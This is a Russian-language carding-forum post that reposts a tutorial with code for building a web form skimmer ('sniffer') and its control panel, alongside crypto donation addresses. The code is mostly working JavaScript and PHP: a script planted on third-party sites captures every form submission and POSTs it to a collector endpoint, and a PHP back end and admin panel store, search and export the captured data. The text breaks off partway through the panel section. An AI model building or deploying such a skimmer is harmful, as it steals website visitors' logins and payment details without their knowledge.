[JS, PHP] СНИФАТЬ данные стало еще проще или как написать свой сниффер и панель для него?

Grant Cardone

Carder
Messages
44
Reaction score
5
Points
8
статья не моя, статья с закрытого форума, огромный респект подобным авторам, благодарность скидывать сюда -

BTC - bc1qtkc8zv8xzmh7vvw3gpkds3e69wcfv0pja37eqs
LTC - ltc1qup9wppm5mnccdw2j9v9z7stmmpskdk792j3gy9
ERC-20 (USDT ERC-20, USDT BEP-20, ETHEREUM and etc.) - 0xF1b1830b687Ed2BB77956bD7Cc8489081A768256
TRON (USDT TRC-20, TRX) - TCCTWKBhuBMxY6UyLzBMFAmkKSqXzWwk3F

Автор статьи society ссылка https://xss.is/members/428204/ источник https://xss.is/threads/141000/

Уважаемые читатели, всех приветствую. После написания своей первой статьи я начал мониторить свои сервера на наличие полезного кода, который сможет помочь рядовым пользователям в работе и наткнулся на свой старый sniffer и в моей голове промелькнула идея написать развернутую статью по написанию своего sniffer'a и панели к нему. Оптимизировав свой старый код и доработав панель, я добился практически идеального и полностью рабочего инструмента, который выполняет все свои заявленные функции. На момент написания этой статьи (00:00 : 01.07.25) код (а конкретнее сама панель) имеет множество мелких недоработок, которые никак не влияют на конечную работоспособность проекта.


Содержание:
Часть 1: Архитектура и основные компоненты

  • Архитектурный обзор системы
  • Клиентский модуль сборки данных (sniffer.js)
  • Система конфигурации (config.php)
  • Требования и зависимости
Часть 2: API и система безопасности
  • API сбора данных (collect.php)
  • Rate limiting и защита от злоупотреблений
  • Валидация и санитизация данных
  • CORS и безопасность
Часть 3: Панель управления (admin panel)
  • Система аутентификации (login.php, logout.php)
  • Основной интерфейс (admin.php)
  • Управление пользователями и профилями
  • Логирование активности
Часть 4: Функциональные модули
  • Система экспорта данных (export.php)
  • API удаления и управления (delete.php)
  • Профили пользователей (profile.php)
  • Логи активности (activity.php)
Часть 5: Установка и настройка
  • Системные требования
  • Установка и конфигурация
  • Настройка базы данных
  • Развертывание и мониторинг
  • Рекомендации по безопасности



Часть 1: Архитектура и основные компоненты
Архитектурный обзор системы


Sniffer представляет собой распределенную систему мониторинга веб-форм, построенную на принципе минимального вмешательства в работу сайтов. Основная идея заключается в том, что одна строка JavaScript-кода на любом сайте начинает автоматически собирать данные о всех отправляемых формах и передавать их в панель для хранения и дальнейшего использования.

Система состоит из трех ключевых компонентов:
  1. Клиентский сборщик - JavaScript-модуль, легко встраиваемый на нужные нам сайты
  2. Серверная часть - PHP-с защищенным API для приема и обработки данных
  3. Админ панель - веб-интерфейс для просмотра, фильтрации и экспорта собранной информации
Архитектура спроектирована с учетом высоких нагрузок - система может обрабатывать тысячи отправок форм в минуту, при этом не влияя на производительность клиентских сайтов.

Скрипт для сбора данных с форм (sniffer.js)
Клиентская часть реализована в виде JavaScript размером всего 3KB. Весь код заключен в IIFE (Immediately Invoked Function Expression), что исключает конфликты с существующим кодом на сайте.

Конфигурация и настройки:
JavaScript:
const CONFIG = {
    endpoint: 'https://yourdomain.com/collect.php',
    timeout: 5000,
    retries: 2,
};

Конфиг содержит все критические настройки. Таймаут в 5 секунд гарантирует, что неудачная отправка данных не заблокирует пользователя.

Механизм сбора данных
Сердце системы - функция извлечения данных из форм:

JavaScript:
        sendData: async (data, retries = CONFIG.retries) => {
            const controller = new AbortController();
            const timeoutId = setTimeout(() => controller.abort(), CONFIG.timeout);

            try {
                const response = await fetch(CONFIG.endpoint, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                        'X-Requested-With': 'XMLHttpRequest'
                    },
                    body: JSON.stringify(data),
                    signal: controller.signal
                });

                clearTimeout(timeoutId);

                if (!response.ok) {
                    throw new Error(`HTTP ${response.status}: ${response.statusText}`);
                }

                return await response.json();
            } catch (error) {
                clearTimeout(timeoutId);
            
                if (retries > 0 && error.name !== 'AbortError') {
                    // Экспоненциальная задержка
                    await new Promise(resolve =>
                        setTimeout(resolve, (CONFIG.retries - retries + 1) * 1000)
                    );
                    return utils.sendData(data, retries - 1);
                }
            
                throw error;
            }
        }
    };

Использование AbortController позволяет корректно отменять запросы при превышении таймаута. Экспоненциальная задержка между повторными попытками (1с, 2с, 3с) предотвращает перегрузку сервера. Важный момент - ошибка AbortError не вызывает повторную попытку, так как это означает принудительную отмену по таймауту.

Обработка событий и восстановления

JavaScript:
document.addEventListener('submit', (event) => {
    if (event.target.tagName === 'FORM') {
        handleFormSubmit(event);
    }
}, true);

Использование capturing phase (третий параметр true) гарантирует, что обработчик сработает даже если другой код на странице остановит всплытие события.

Особенно интересна система восстановления неудачных отправок:

JavaScript:
if (typeof Storage !== 'undefined') {
    try {
        const failedData = JSON.parse(sessionStorage.getItem('failed_form_data') || '[]');
        failedData.push({ ...payload, error: error.message });
        sessionStorage.setItem('failed_form_data', JSON.stringify(failedData.slice(-10)));
    } catch (e) {
        console.warn('Cannot save failed data to sessionStorage:', e);
    }
}

Неудачные отправки сохраняются в sessionStorage (максимум 10 записей) и автоматически повторяются при следующей загрузке страницы. Это обеспечивает максимальную полноту собираемых данных.

Конфигурация (config.php)
Центральный модуль конфига построен на современных принципах PHP с использованием строгой типизации и переменных окружения.

PHP:
<?php
declare(strict_types=1);

define('APP_ENV', $_ENV['APP_ENV'] ?? 'production');
define('APP_DEBUG', APP_ENV === 'development');
define('APP_VERSION', '2.0.0');

define('DB_HOST', $_ENV['DB_HOST'] ?? 'localhost');
define('DB_NAME', $_ENV['DB_NAME'] ?? 'dbname');
define('DB_USER', $_ENV['DB_USER'] ?? 'username');
define('DB_PASS', $_ENV['DB_PASS'] ?? 'password');
define('DB_CHARSET', 'utf8mb4');

Каждая настройка имеет разумное значение по умолчанию, но может быть переопределена через переменные окружения. Это критически важно для развертывания в разных средах без изменения кода.

Настройки безопасности

PHP:
define('SESSION_LIFETIME', 3600);
define('REMEMBER_ME_LIFETIME', 2592000);
define('MAX_LOGIN_ATTEMPTS', 5);
define('LOGIN_LOCKOUT_TIME', 900);
define('PASSWORD_MIN_LENGTH', 8);

define('RATE_LIMIT_REQUESTS', (int)($_ENV['RATE_LIMIT_REQUESTS'] ?? 100));
define('RATE_LIMIT_WINDOW', 3600);
define('MAX_DATA_SIZE', 1024 * 1024);

Все параметры безопасности сгруппированы и имеют консервативные значения. Rate limiting ограничивает 100 запросов в час с одного IP, максимальный размер данных - 1MB.

Подключение к базе данных

PHP:
class DatabaseConfig {
    public static function getPDO(): PDO {
        static $pdo = null;
    
        if ($pdo === null) {
            $dsn = sprintf(
                'mysql:host=%s;dbname=%s;charset=%s',
                DB_HOST,
                DB_NAME,
                DB_CHARSET
            );
        
            $options = [
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
                PDO::ATTR_EMULATE_PREPARES => false,
                PDO::ATTR_STRINGIFY_FETCHES => false,
                PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES " . DB_CHARSET
            ];
        
            try {
                $pdo = new PDO($dsn, DB_USER, DB_PASS, $options);
            } catch (PDOException $e) {
                if (APP_DEBUG) {
                    throw $e;
                } else {
                    error_log('Database connection failed: ' . $e->getMessage());
                    throw new Exception('Database connection failed');
                }
            }
        }
    
        return $pdo;
    }
}

Использование статической переменной гарантирует единственное подключение к БД в рамках одного запроса. Опции PDO настроены для максимальной безопасности - отключены эмулированные prepared statements, включена строгая обработка ошибок.

Универсальные утилиты:

PHP:
class Security {
    public static function generateCSRFToken(): string {
        if (!isset($_SESSION['csrf_token'])) {
            $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
        }
        return $_SESSION['csrf_token'];
    }
 
    public static function validateCSRFToken(string $token): bool {
        return isset($_SESSION['csrf_token']) &&
               hash_equals($_SESSION['csrf_token'], $token);
    }
 
    public static function sanitizeInput(string $input): string {
        return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
    }
}

Класс Security содержит часто используемые функции безопасности. Особое внимание на использование hash_equals() вместо обычного сравнения - это предотвращает timing attacks.

Структура базы данных:

SQL:
CREATE TABLE form_submissions (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    page_url VARCHAR(500) NOT NULL,
    form_data JSON NOT NULL,
    form_id VARCHAR(100),
    form_action VARCHAR(500),
    ip_address VARCHAR(45) NOT NULL,
    user_agent TEXT,
    country VARCHAR(100),
    city VARCHAR(100),
    referrer VARCHAR(500),
    session_id VARCHAR(64),
    timestamp VARCHAR(30),
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_page_url (page_url),
    INDEX idx_ip_address (ip_address),
    INDEX idx_created_at (created_at),
    INDEX idx_session_id (session_id)
);

Использование BIGINT для первичного ключа обеспечивает поддержку миллиардов записей. JSON-поле для данных форм позволяет хранить произвольную структуру. Индексы покрывают основные сценарии поиска и фильтрации.

Таблица пользователей:
SQL:
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,
    email VARCHAR(100),
    role ENUM('admin', 'user') DEFAULT 'user',
    is_active BOOLEAN DEFAULT TRUE,
    first_name VARCHAR(50),
    last_name VARCHAR(50),
    bio TEXT,
    last_login TIMESTAMP NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
);

Простая, но функциональная схема пользователей с ролевой моделью и автоматическим отслеживанием времени изменений.

Ограничения лимитов:

SQL:
CREATE TABLE rate_limits (
    ip VARCHAR(45) NOT NULL,
    hour VARCHAR(13) NOT NULL,
    requests INT DEFAULT 1,
    PRIMARY KEY (ip, hour),
    INDEX idx_hour (hour)
);

Элегантное решение для ограничения лимитов - составной первичный ключ из IP и часа позволяет эффективно отслеживать количество запросов с использованием INSERT ... ON DUPLICATE KEY UPDATE.



Часть 2 - API и система безопасности
API сбора данных (collect.php)


Серверная часть системы реализована как самодостаточный класс FormCollector, который обрабатывает все входящие запросы от клиентских сайтов. Архитектура построена на принципе "безопасность прежде всего" с многоуровневой защитой от различных видов атак.

Архитектура класса FormCollector

PHP:
class FormCollector {
    private PDO $pdo;
    private array $config;
 
    public function __construct() {
        $this->config = [
            'db_host' => $_ENV['DB_HOST'] ?? 'localhost',
            'db_name' => $_ENV['DB_NAME'] ?? 'form_sniffer',
            'db_user' => $_ENV['DB_USER'] ?? 'username',
            'db_pass' => $_ENV['DB_PASS'] ?? 'password',
            'max_data_size' => 1024 * 1024,
            'rate_limit' => 100,
            'allowed_origins' => explode(',', $_ENV['ALLOWED_ORIGINS'] ?? '*')
        ];
    
        $this->initDatabase();
    }
}

Класс объединяет всю логику обработки запросов. Конфиг вынесен в отдельный массив, что упрощает тестирование и изменение параметров без пересборки кода.

Обработка входящих запросов:

PHP:
public function handleRequest(): void {
    $this->setSecurityHeaders();
 
    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
        $this->respondWithError('Method not allowed', 405);
    }
 
    if (!$this->checkRateLimit()) {
        $this->respondWithError('Rate limit exceeded', 429);
    }
 
    $data = $this->getRequestData();
    if (!$data) {
        $this->respondWithError('Invalid JSON data', 400);
    }
 
    $validatedData = $this->validateData($data);
    if (!$validatedData) {
        $this->respondWithError('Data validation failed', 400);
    }
 
    if ($this->saveData($validatedData)) {
        $this->respondWithSuccess(['status' => 'success', 'id' => $this->pdo->lastInsertId()]);
    } else {
        $this->respondWithError('Failed to save data', 500);
    }
}

Каждый запрос проходит через строгую последовательность проверок. Принцип "fail fast" - при первой же проблеме запрос отклоняется с соответствующим HTTP-кодом.

Ограничения частоты запросов:

PHP:
private function checkRateLimit(): bool {
    $ip = $this->getClientIP();
    $hour = date('Y-m-d H');
 
    try {
        $stmt = $this->pdo->prepare('SELECT COUNT(*) FROM rate_limits WHERE ip = ? AND hour = ?');
        $stmt->execute([$ip, $hour]);
        $count = $stmt->fetchColumn();
    
        if ($count >= $this->config['rate_limit']) {
            return false;
        }
    
        $stmt = $this->pdo->prepare('INSERT INTO rate_limits (ip, hour, requests) VALUES (?, ?, 1) ON DUPLICATE KEY UPDATE requests = requests + 1');
        $stmt->execute([$ip, $hour]);
    
        return true;
    } catch (PDOException $e) {
        error_log("Rate limit check failed: " . $e->getMessage());
        return true; // Fail open
    }
}

Ограничения реализованы на основе окна времени в 1 час. Использование ON DUPLICATE KEY UPDATE позволяет увеличивать счетчик запросов. Важный момент - в случае ошибки БД система "проваливается в открытое состояние" (fail open), что предотвращает блокировку легитимного трафика при проблемах с БД.

Определение реального IP клиента:

PHP:
private function getClientIP(): string {
    $ip_keys = ['HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_REAL_IP', 'REMOTE_ADDR'];
    foreach ($ip_keys as $key) {
        if (!empty($_SERVER[$key])) {
            $ip = trim(explode(',', $_SERVER[$key])[0]);
            if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
                return $ip;
            }
        }
    }
    return $_SERVER['REMOTE_ADDR'] ?? 'unknown';
}

Функция учитывает различные заголовки прокси и CDN (Cloudflare, загрузочные балансировщики). Фильтрация исключает приватные и зарезервированные диапазоны IP, что предотвращает подделку внутренних адресов.

Валидация входящих данных:
PHP:
private function validateData(array $data): ?array {
    $required = ['page_url', 'timestamp'];
    foreach ($required as $field) {
        if (!isset($data[$field]) || empty($data[$field])) {
            return null;
        }
    }
 
    if (!filter_var($data['page_url'], FILTER_VALIDATE_URL)) {
        return null;
    }
 
    if (!$this->isValidTimestamp($data['timestamp'])) {
        return null;
    }
 
    $sanitized = [
        'page_url' => filter_var($data['page_url'], FILTER_SANITIZE_URL),
        'timestamp' => $data['timestamp'],
        'ip_address' => $this->getClientIP(),
        'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? '',
        'referrer' => $data['referrer'] ?? '',
        'form_id' => $data['form_id'] ?? null,
        'form_action' => $data['form_action'] ?? null,
        'session_id' => $this->generateSessionId()
    ];
 
    $excludeFields = ['page_url', 'timestamp', 'referrer', 'form_id', 'form_action', 'user_agent'];
    $formData = array_filter($data, fn($key) => !in_array($key, $excludeFields), ARRAY_FILTER_USE_KEY);
 
    $sanitized['form_data'] = $this->sanitizeFormData($formData);
 
    return $sanitized;
}

Двухэтапная валидация: сначала проверяются обязательные поля и их формат, затем происходит санитизация данных. Метаданные (URL, timestamp, referrer) обрабатываются отдельно от пользовательских данных форм.

Отчистка данных:

PHP:
private function sanitizeFormData(array $data): array {
    $sanitized = [];
    foreach ($data as $key => $value) {
        if (is_string($value) && strlen($value) <= 1000) {
            $sanitized[htmlspecialchars($key, ENT_QUOTES, 'UTF-8')] =
                htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
        }
    }
    return $sanitized;
}

Ограничение в 1000 символов предотвращает атаки через передачу огромных объемов данных. Экранирование HTML-сущностей защищает от XSS уязвимостей при отображении данных в админ-панели.

Валидация временных меток:
PHP:
private function isValidTimestamp(string $timestamp): bool {
    return (bool) DateTime::createFromFormat('Y-m-d\TH:i:s.u\Z', $timestamp)
        || (bool) DateTime::createFromFormat('Y-m-d\TH:i:s\Z', $timestamp);
}

Поддерживаются два формата ISO 8601 - с микросекундами и без. Это обеспечивает совместимость с различными JavaScript-реализациями генерации временных меток.

Настройка безопасности:

PHP:
private function setSecurityHeaders(): void {
    header('Content-Type: application/json; charset=utf-8');
    header('X-Content-Type-Options: nosniff');
    header('X-Frame-Options: DENY');
    header('X-XSS-Protection: 1; mode=block');
    header('Referrer-Policy: strict-origin-when-cross-origin');
 
    $origin = $_SERVER['HTTP_ORIGIN'] ?? '';
    if (in_array('*', $this->config['allowed_origins']) || in_array($origin, $this->config['allowed_origins'])) {
        header("Access-Control-Allow-Origin: $origin");
        header('Access-Control-Allow-Methods: POST, OPTIONS');
        header('Access-Control-Allow-Headers: Content-Type, X-Requested-With');
        header('Access-Control-Max-Age: 86400');
    }
 
    if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
        http_response_code(200);
        exit;
    }
}

Комплексная настройка заголовков безопасности:
  • X-Content-Type-Options: nosniff предотвращает MIME-сниффинг
  • X-Frame-Options: DENY защищает от clickjacking
  • X-XSS-Protection включает встроенную защиту браузера от XSS
  • CORS настраивается динамически на основе списка разрешенных доменов

Обработка preflight-запросов
Корректная обработка OPTIONS-запросов критически важна для CORS. Браузер отправляет preflight-запрос перед основным POST-запросом, и если сервер не ответит правильно, основной запрос будет заблокирован.

PHP:
private function getRequestData(): ?array {
    $input = file_get_contents('php://input');
 
    if (strlen($input) > $this->config['max_data_size']) {
        return null;
    }
 
    $data = json_decode($input, true);
    return json_last_error() === JSON_ERROR_NONE ? $data : null;
}

Ограничение в 1MB предотвращает DoS-атаки через отправку огромных JSON-объектов. Проверка json_last_error() гарантирует корректность JSON-структуры.

Генерация ID сессии:

PHP:
private function generateSessionId(): string {
    return session_id() ?: bin2hex(random_bytes(16));
}

Если PHP-сессия не инициализирована, генерируется зашифрованный случайный идентификатор длиной 32 символа.

Сохранение данных в БД:
PHP:
private function saveData(array $data): bool {
    try {
        $sql = 'INSERT INTO form_submissions (
            page_url, form_data, timestamp, ip_address, user_agent,
            referrer, form_id, form_action, session_id, created_at
        ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, NOW())';
    
        $stmt = $this->pdo->prepare($sql);
        return $stmt->execute([
            $data['page_url'],
            json_encode($data['form_data'], JSON_UNESCAPED_UNICODE),
            $data['timestamp'],
            $data['ip_address'],
            $data['user_agent'],
            $data['referrer'],
            $data['form_id'],
            $data['form_action'],
            $data['session_id']
        ]);
    } catch (PDOException $e) {
        error_log("Failed to save form data: " . $e->getMessage());
        return false;
    }
}

Использование prepared statements предотвращает SQL-инъекции. JSON_UNESCAPED_UNICODE обеспечивает корректное сохранение Unicode-символов в JSON.

Обработка ошибок:

PHP:
private function respondWithError(string $message, int $code = 400): void {
    http_response_code($code);
    echo json_encode([
        'status' => 'error',
        'message' => $message,
        'timestamp' => date('c')
    ], JSON_UNESCAPED_UNICODE);
    exit;
}

private function respondWithSuccess(array $data): void {
    http_response_code(200);
    echo json_encode($data, JSON_UNESCAPED_UNICODE);
    exit;
}

Стандартизированный формат ответов упрощает обработку на клиентской стороне. Временная метка в ответах об ошибках помогает при отладке.

Глобальная обработка исключений:

PHP:
try {
    $collector = new FormCollector();
    $collector->handleRequest();
} catch (Throwable $e) {
    error_log("FormCollector error: " . $e->getMessage());
    http_response_code(500);
    echo json_encode([
        'status' => 'error',
        'message' => 'Internal server error',
        'timestamp' => date('c')
    ]);
}

Catch блок для Throwable перехватывает все возможные ошибки и исключения, предотвращая раскрытие внутренней информации о системе.



Часть 3. Админ панель.
Система аутентификации (login.php, logout.php)


Система аутентификации построена на современных принципах безопасности с поддержкой устойчивых сессий и защитой от атак методом подбора.

Архитектура входа в систему:
PHP:
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';
    $remember = isset($_POST['remember']);
 
    if (empty($username) || empty($password)) {
        $error = 'Please fill in all fields';
    } else {
        try {
            $pdo = new PDO(
                'mysql:host=localhost;dbname=form_sniffer;charset=utf8mb4',
                'username',
                'password',
                [
                    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
                ]
            );

Базовая валидация происходит на серверной стороне, несмотря на наличие клиентской проверки. Никогда не стоит доверять данным клиента, все необходимо проверять.

Проверка учетных данных:
PHP:
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND is_active = 1');
$stmt->execute([$username]);
$user = $stmt->fetch();

if ($user && password_verify($password, $user['password_hash'])) {
    $update_stmt = $pdo->prepare('UPDATE users SET last_login = NOW() WHERE id = ?');
    $update_stmt->execute([$user['id']]);
 
    $_SESSION['logged_in'] = true;
    $_SESSION['user_id'] = $user['id'];
    $_SESSION['username'] = $user['username'];
    $_SESSION['role'] = $user['role'];

Использование password_verify() обеспечивает безопасную проверку хешированных паролей. Поле is_active позволяет временно отключать пользователей без удаления их данных.

Управление сессиями:

PHP:
$session_id = session_id();
$expires_at = date('Y-m-d H:i:s', time() + ($remember ? 2592000 : 3600));

$session_stmt = $pdo->prepare('
    INSERT INTO user_sessions (id, user_id, ip_address, user_agent, expires_at)
    VALUES (?, ?, ?, ?, ?)
    ON DUPLICATE KEY UPDATE expires_at = VALUES(expires_at)
');
$session_stmt->execute([
    $session_id,
    $user['id'],
    $_SERVER['REMOTE_ADDR'] ?? '',
    $_SERVER['HTTP_USER_AGENT'] ?? '',
    $expires_at
]);

Сессии сохраняются в БД с привязкой к IP и User-Agent. Это позволяет отслеживать активные сессии и принудительно завершать их при необходимости. Опция "запомни меня" увеличивает время жизни до 30 дней.

Система "запомни меня"

PHP:
if ($remember) {
    setcookie('remember_token', hash('sha256', $session_id . $user['id']), time() + 2592000, '/', '', true, true);
}

Токен "remember me" представляет собой хеш от комбинации session_id и user_id. Это предотвращает возможность подделки токенов, так как хАкЕрЫ не смогут угадать session_id.

Сохранение активной сессии:

PHP:
if (isset($_COOKIE['remember_token']) && !isset($_SESSION['logged_in'])) {
    try {
        $stmt = $pdo->prepare('
            SELECT u.* FROM users u
            JOIN user_sessions s ON u.id = s.user_id
            WHERE SHA2(CONCAT(s.id, u.id), 256) = ?
            AND s.expires_at > NOW()
            AND u.is_active = 1
        ');
        $stmt->execute([$_COOKIE['remember_token']]);
        $user = $stmt->fetch();
    
        if ($user) {
            $_SESSION['logged_in'] = true;
            $_SESSION['user_id'] = $user['id'];
            $_SESSION['username'] = $user['username'];
            $_SESSION['role'] = $user['role'];
        
            header('Location: admin.php');
            exit;
        } else {
            setcookie('remember_token', '', time() - 3600, '/');
        }
    } catch (PDOException $e) {
        error_log('Remember me check error: ' . $e->getMessage());
    }
}

Проверка токена происходит через SQL-запрос с использованием функции SHA2. Если токен недействителен или истек, он автоматически удаляется.

Безопасный выход из аккаунта:
PHP:
if (isset($_SESSION['user_id'])) {
    try {
        $stmt = $pdo->prepare('
            INSERT INTO activity_logs (user_id, action, details, ip_address)
            VALUES (?, ?, ?, ?)
        ');
        $stmt->execute([
            $_SESSION['user_id'],
            'logout',
            json_encode(['session_id' => session_id()]),
            $_SERVER['REMOTE_ADDR'] ?? ''
        ]);
    
        $session_stmt = $pdo->prepare('DELETE FROM user_sessions WHERE id = ?');
        $session_stmt->execute([session_id()]);
    } catch (PDOException $e) {
        error_log('Logout error: ' . $e->getMessage());
    }
}

$_SESSION = [];

if (ini_get("session.use_cookies")) {
    $params = session_get_cookie_params();
    setcookie(session_name(), '', time() - 42000,
        $params["path"], $params["domain"],
        $params["secure"], $params["httponly"]
    );
}

if (isset($_COOKIE['remember_token'])) {
    setcookie('remember_token', '', time() - 3600, '/', '', true, true);
}

session_destroy();

Полная очистка: логирование выхода, удаление записи сессии из БД, очистка PHP-сессии, удаление всех связанных cookies.

Основной интерфейс панели (admin.php)
Админ панель представляет собой "лендинг-страницу" со всем пользовательским функционалом:

Проверка авторизации и инициализация:

PHP:
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    header('Location: login.php');
    exit;
}

try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=form_sniffer;charset=utf8mb4',
        'username',
        'password',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
} catch (PDOException $e) {
    die('Database connection failed: ' . $e->getMessage());
}

Каждый запрос к админ-панели начинается с проверки авторизации. ATTR_EMULATE_PREPARES =&gt; false заставляет MySQL использовать настоящие prepared statements.

Система фильтрации:

PHP:
$page = max(1, (int)($_GET['page'] ?? 1));
$limit = 25;
$offset = ($page - 1) * $limit;
$search = $_GET['search'] ?? '';
$date_from = $_GET['date_from'] ?? '';
$date_to = $_GET['date_to'] ?? '';
$page_filter = $_GET['page_filter'] ?? '';

$where_conditions = [];
$params = [];

if ($search) {
    $where_conditions[] = "(page_url LIKE ? OR JSON_SEARCH(form_data, 'all', ?) IS NOT NULL)";
    $params[] = "%$search%";
    $params[] = "%$search%";
}

if ($date_from) {
    $where_conditions[] = "DATE(created_at) >= ?";
    $params[] = $date_from;
}

if ($date_to) {
    $where_conditions[] = "DATE(created_at) <= ?";
    $params[] = $date_to;
}

Динамическое построение WHERE-условий позволяет комбинировать различные фильтры. Использование JSON_SEARCH() обеспечивает поиск внутри JSON-полей с данными форм.

Получение статистики:

PHP:
$stats_queries = [
    'total' => "SELECT COUNT(*) FROM form_submissions WHERE DATE(created_at) = CURDATE()",
    'today' => "SELECT COUNT(*) FROM form_submissions WHERE DATE(created_at) = CURDATE()",
    'week' => "SELECT COUNT(*) FROM form_submissions WHERE created_at >= DATE_SUB(NOW(), INTERVAL 7 DAY)",
    'month' => "SELECT COUNT(*) FROM form_submissions WHERE created_at >= DATE_SUB(NOW(), INTERVAL 30 DAY)",
    'unique_pages' => "SELECT COUNT(DISTINCT page_url) FROM form_submissions WHERE created_at >= DATE_SUB(NOW(), INTERVAL 30 DAY)",
    'unique_ips' => "SELECT COUNT(DISTINCT ip_address) FROM form_submissions WHERE created_at >= DATE_SUB(NOW(), INTERVAL 30 DAY)"
];

$stats = [];
foreach ($stats_queries as $key => $query) {
    $stmt = $pdo->query($query);
    $stats[$key] = $stmt->fetchColumn();
}

Сбор статистики происходит через отдельные запросы. Конечно, это менее эффективно, чем один сложный запрос, но значительно понятнее и легче в сопровождении.

Вспомогательные функции:

PHP:
function formatJsonData($jsonString): string {
    $data = json_decode($jsonString, true);
    if (!$data) return 'No data';
 
    $formatted = '';
    foreach ($data as $key => $value) {
        if (is_string($value) && strlen($value) > 50) {
            $value = substr($value, 0, 50) . '...';
        }
        $formatted .= "<span class='json-key'>\"$key\"</span>: <span class='json-string'>\"$value\"</span><br>";
    }
    return $formatted;
}

function timeAgo($datetime): string {
    $time = time() - strtotime($datetime);
 
    if ($time < 60) return 'Just now';
    if ($time < 3600) return floor($time/60) . 'm ago';
    if ($time < 86400) return floor($time/3600) . 'h ago';
    if ($time < 2592000) return floor($time/86400) . 'd ago';
    return date('M j, Y', strtotime($datetime));
}

Функции для форматирования данных в удобочитаемом виде. formatJsonData() автоматически обрезает длинные значения и добавляет CSS-классы для подсветки синтаксиса.

Определение типа устройства и браузера:

PHP:
function getDeviceType($userAgent): string {
    if (preg_match('/Mobile|Android|iPhone|iPad/', $userAgent)) {
        return preg_match('/iPad/', $userAgent) ? 'tablet' : 'mobile';
    }
    return 'desktop';
}

function getBrowser($userAgent): string {
    $browsers = [
        'Chrome' => '/Chrome\/[\d.]+/',
        'Firefox' => '/Firefox\/[\d.]+/',
        'Safari' => '/Safari\/[\d.]+/',
        'Edge' => '/Edg\/[\d.]+/',
        'Opera' => '/Opera\/[\d.]+/'
    ];
 
    foreach ($browsers as $browser => $pattern) {
        if (preg_match($pattern, $userAgent)) {
            return $browser;
        }
    }
    return 'Unknown';
}

Простой парсинг User-Agent для определения типа устройства и браузера. Регулярные выражения проверяются в порядке приоритета.

Клиентская логика управления профилями:

PHP:
function showProfile() {
    hideUserMenu();
    showModal('profileModal');
    loadUserProfile();
}

function loadUserProfile() {
    fetch('api/profile.php')
        .then(response => response.json())
        .then(data => {
            if (data.success) {
                const user = data.user;
                document.getElementById('profileEmail').value = user.email || '';
                document.getElementById('profileFirstName').value = user.first_name || '';
                document.getElementById('profileLastName').value = user.last_name || '';
                document.getElementById('profileBio').value = user.bio || '';
            }
        })
        .catch(error => {
            console.error('Error loading profile:', error);
            showNotification('Failed to load profile data', 'error');
        });
}

Загрузка профиля происходит через AJAX-запрос к API. Обработка ошибок включает как технический лог в консоль, так и пользовательское уведомление.

Валидация паролей на клиенте:

PHP:
function checkPasswordStrength(password) {
    const strengthBar = document.getElementById('passwordStrengthBar');
    let score = 0;
 
    if (password.length >= 8) score++;
    if (/[a-z]/.test(password)) score++;
    if (/[A-Z]/.test(password)) score++;
    if (/[0-9]/.test(password)) score++;
    if (/[^A-Za-z0-9]/.test(password)) score++;
 
    strengthBar.className = 'password-strength-bar';
 
    if (score === 0) {
        strengthBar.style.width = '0%';
    } else if (score <= 2) {
        strengthBar.classList.add('weak');
    } else if (score === 3) {
        strengthBar.classList.add('fair');
    } else if (score === 4) {
        strengthBar.classList.add('good');
    } else {
        strengthBar.classList.add('strong');
    }
}

Оценка сложности пароля по пяти критериям. Визуальная индикация помогает пользователю создать надежный пароль.

Система уведомлений:

PHP:
function showNotification(message, type = 'success') {
    const notification = document.createElement('div');
    notification.className = `notification notification-${type}`;
    notification.innerHTML = `
        <i class="fas fa-${type === 'success' ? 'check' : 'exclamation-triangle'}"></i>
        ${message}
    `;
    document.body.appendChild(notification);
 
    setTimeout(() => notification.classList.add('show'), 100);
    setTimeout(() => {
        notification.classList.remove('show');
        setTimeout(() => notification.remove(), 300);
    }, 3000);
}

Самоуничтожающиеся уведомления с анимацией. Задержка в 100ms перед добавлением класса show обеспечивает корректную CSS-анимацию.

Логи активности:

PHP:
$log_stmt = $pdo->prepare('
    INSERT INTO activity_logs (user_id, action, details, ip_address)
    VALUES (?, ?, ?, ?)
');
$log_stmt->execute([
    $_SESSION['user_id'],
    'export_data',
    json_encode([
        'format' => $format,
        'filters' => compact('search', 'date_from', 'date_to', 'page_filter'),
        'record_count' => count($data)
    ]),
    $_SERVER['REMOTE_ADDR'] ?? ''
]);

Детали операции сохраняются в JSON-формате, что позволяет хранить произвольную структуру данных для каждого типа действия.

Отображение логов активности:

